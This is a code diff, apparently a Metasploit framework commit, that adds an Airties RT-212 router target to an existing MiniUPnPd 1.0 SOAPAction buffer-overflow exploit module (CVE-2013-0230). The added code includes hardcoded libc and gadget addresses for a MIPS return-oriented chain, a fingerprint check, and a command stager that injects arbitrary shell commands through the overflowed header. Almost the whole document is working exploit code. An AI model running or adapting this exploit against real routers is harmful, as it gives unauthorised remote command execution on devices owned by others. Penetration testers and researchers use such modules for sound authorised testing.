7
7
8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
include Msf ::Exploit ::Remote ::HttpClient
10
+ include Msf ::Exploit ::CmdStager
11
+
10
12
Rank = NormalRanking
11
13
12
14
def initialize ( info = { } )
@@ -19,35 +21,54 @@ def initialize(info = {})
19
21
'Author' =>
20
22
[
21
23
'hdm' , # Vulnerability discovery
22
- 'Dejan Lukan' # Metasploit module
24
+ 'Dejan Lukan' , # Metasploit module, debian target
25
+ 'Onur ALANBEL' , # Expliot for Airties target
26
+ 'm-1-k-3' # Metasploit module, Airties target
23
27
] ,
24
28
'License' => MSF_LICENSE ,
25
29
'DefaultOptions' => { 'EXITFUNC' => 'process' , } ,
26
- # the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
27
- # input, which is why it can't be part of the shellcode (otherwise the vulnerable part
28
- # of the program is never reached)
29
- 'Payload' =>
30
- {
31
- 'Space' => 2060 ,
32
- 'BadChars' => "\x00 \x22 " ,
33
- 'DisableNops' => true
34
- } ,
35
30
'Platform' => 'linux' ,
31
+ 'Arch' => [ ARCH_X86 , ARCH_MIPSBE ] ,
36
32
'References' =>
37
33
[
38
34
[ 'CVE' , '2013-0230' ] ,
39
35
[ 'OSVDB' , '89624' ] ,
40
36
[ 'BID' , '57608' ] ,
41
37
[ 'URL' , 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
42
38
] ,
43
- 'Targets' =>
39
+ 'Payload' =>
40
+ {
41
+ 'DisableNops' => true
42
+ } ,
43
+ 'Targets' =>
44
44
[
45
45
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0' ,
46
46
{
47
- 'Ret' => 0x0804ee43 , # pop ebp # ret # from miniupnpd
48
- 'Offset' => 2123
47
+ 'Ret' => 0x0804ee43 , # pop ebp # ret # from miniupnpd
48
+ 'Offset' => 2123 ,
49
+ 'Arch' => ARCH_X86 ,
50
+ # the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
51
+ # input, which is why it can't be part of the shellcode (otherwise the vulnerable part
52
+ # of the program is never reached)
53
+ 'Payload' =>
54
+ {
55
+ 'Space' => 2060 ,
56
+ 'BadChars' => "\x00 \x22 "
57
+ } ,
58
+ :callback => :target_debian
49
59
}
50
60
] ,
61
+ [ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0' ,
62
+ {
63
+ 'Offset' => 2048 ,
64
+ 'LibcBase' => 0x2aabd000 ,
65
+ 'System' => 0x00031AC0 ,
66
+ 'CallSystem' => 0x0001CC94 , # prepare $a0 and jump to $s0
67
+ 'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0' ,
68
+ 'Arch' => ARCH_MIPSBE ,
69
+ :callback => :target_airties
70
+ }
71
+ ]
51
72
] ,
52
73
'DefaultTarget' => 0 ,
53
74
'Privileged' => false ,
@@ -57,9 +78,40 @@ def initialize(info = {})
57
78
register_options ( [
58
79
Opt ::RPORT ( 5555 ) ,
59
80
] , self . class )
81
+
82
+ deregister_options ( 'CMDSTAGER::DECODER' , 'CMDSTAGER::FLAVOR' )
83
+ end
84
+
85
+ def check
86
+ begin
87
+ res = send_request_cgi ( {
88
+ 'method' => 'POST' ,
89
+ 'uri' => '/'
90
+ } )
91
+ rescue ::Rex ::ConnectionError
92
+ return Exploit ::CheckCode ::Safe
93
+ end
94
+
95
+ fingerprints = targets . collect { |t | t [ 'Fingerprint' ] }
96
+ fingerprints . delete ( nil )
97
+
98
+ if res && fingerprints . include? ( res . headers [ 'Server' ] )
99
+ vprint_status ( "Fingerprint: #{ res . headers [ 'Server' ] } " )
100
+ return Exploit ::CheckCode ::Detected
101
+ end
102
+
103
+ Exploit ::CheckCode ::Unknown
60
104
end
61
105
62
106
def exploit
107
+ unless self . respond_to? ( target [ :callback ] )
108
+ fail_with ( Failure ::BadConfig , 'Invalid target specified: no callback function defined' )
109
+ end
110
+
111
+ self . send ( target [ :callback ] )
112
+ end
113
+
114
+ def target_debian
63
115
#
64
116
# Build the SOAP Exploit
65
117
#
@@ -108,7 +160,7 @@ def exploit
108
160
#
109
161
# Build and send the HTTP request
110
162
#
111
- print_status ( "Sending exploit to victim #{ target . name } at ..." )
163
+ print_status ( "Sending exploit to victim #{ target . name } ..." )
112
164
send_request_cgi ( {
113
165
'method' => 'POST' ,
114
166
'uri' => "/" ,
@@ -121,4 +173,53 @@ def exploit
121
173
# disconnect from the server
122
174
disconnect
123
175
end
176
+
177
+ def target_airties
178
+ print_status ( "Sending exploit to victim #{ target . name } ..." )
179
+ execute_cmdstager (
180
+ :flavor => :echo
181
+ )
182
+ end
183
+
184
+ def execute_command ( cmd , opts )
185
+ # Build the SOAP Exploit
186
+ # a valid action
187
+ sploit = "n:schemas-upnp-org:service:WANIPConnection:1#"
188
+ sploit << rand_text_alpha_upper ( target [ 'Offset' ] )
189
+ sploit << [ target [ 'LibcBase' ] + target [ 'System' ] ] . pack ( "N" ) # s0 - address of system
190
+ sploit << rand_text_alpha_upper ( 24 ) # $s1 - $s6
191
+ sploit << [ target [ 'LibcBase' ] + target [ 'CallSystem' ] ] . pack ( "N" )
192
+ # 0001CC94 addiu $a0, $sp, 0x18
193
+ # 0001CC98 move $t9, $s0
194
+ # 0001CC9C jalr $t9
195
+ # 0001CCA0 li $a1, 1
196
+
197
+ sploit << rand_text_alpha_upper ( 24 ) #filler
198
+ sploit << cmd
199
+
200
+ # data sent in the POST body
201
+ data =
202
+ "<?xml version='1.0' encoding=\" UTF-8\" ?>\r \n " +
203
+ "<SOAP-ENV:Envelope\r \n " +
204
+ " SOAP-ENV:encodingStyle=\" http://schemas.xmlsoap.org/soap/encoding/\" \r \n " +
205
+ " xmlns:SOAP-ENC=\" http://schemas.xmlsoap.org/soap/encoding/\" \r \n " +
206
+ " xmlns:SOAP-ENV=\" http://schemas.xmlsoap.org/soap/envelope/\" \r \n " +
207
+ ">\r \n " +
208
+ "<SOAP-ENV:Body>\r \n " +
209
+ "<ns1:action xmlns:ns1=\" urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\" 1\" >\r \n " +
210
+ "</ns1:action>\r \n " +
211
+ "</SOAP-ENV:Body>\r \n " +
212
+ "</SOAP-ENV:Envelope>\r \n "
213
+
214
+ send_request_cgi ( {
215
+ 'method' => 'POST' ,
216
+ 'uri' => '/' ,
217
+ 'headers' =>
218
+ {
219
+ 'SOAPAction' => sploit ,
220
+ } ,
221
+ 'data' => data
222
+ } )
223
+ end
224
+
124
225
end
0 commit comments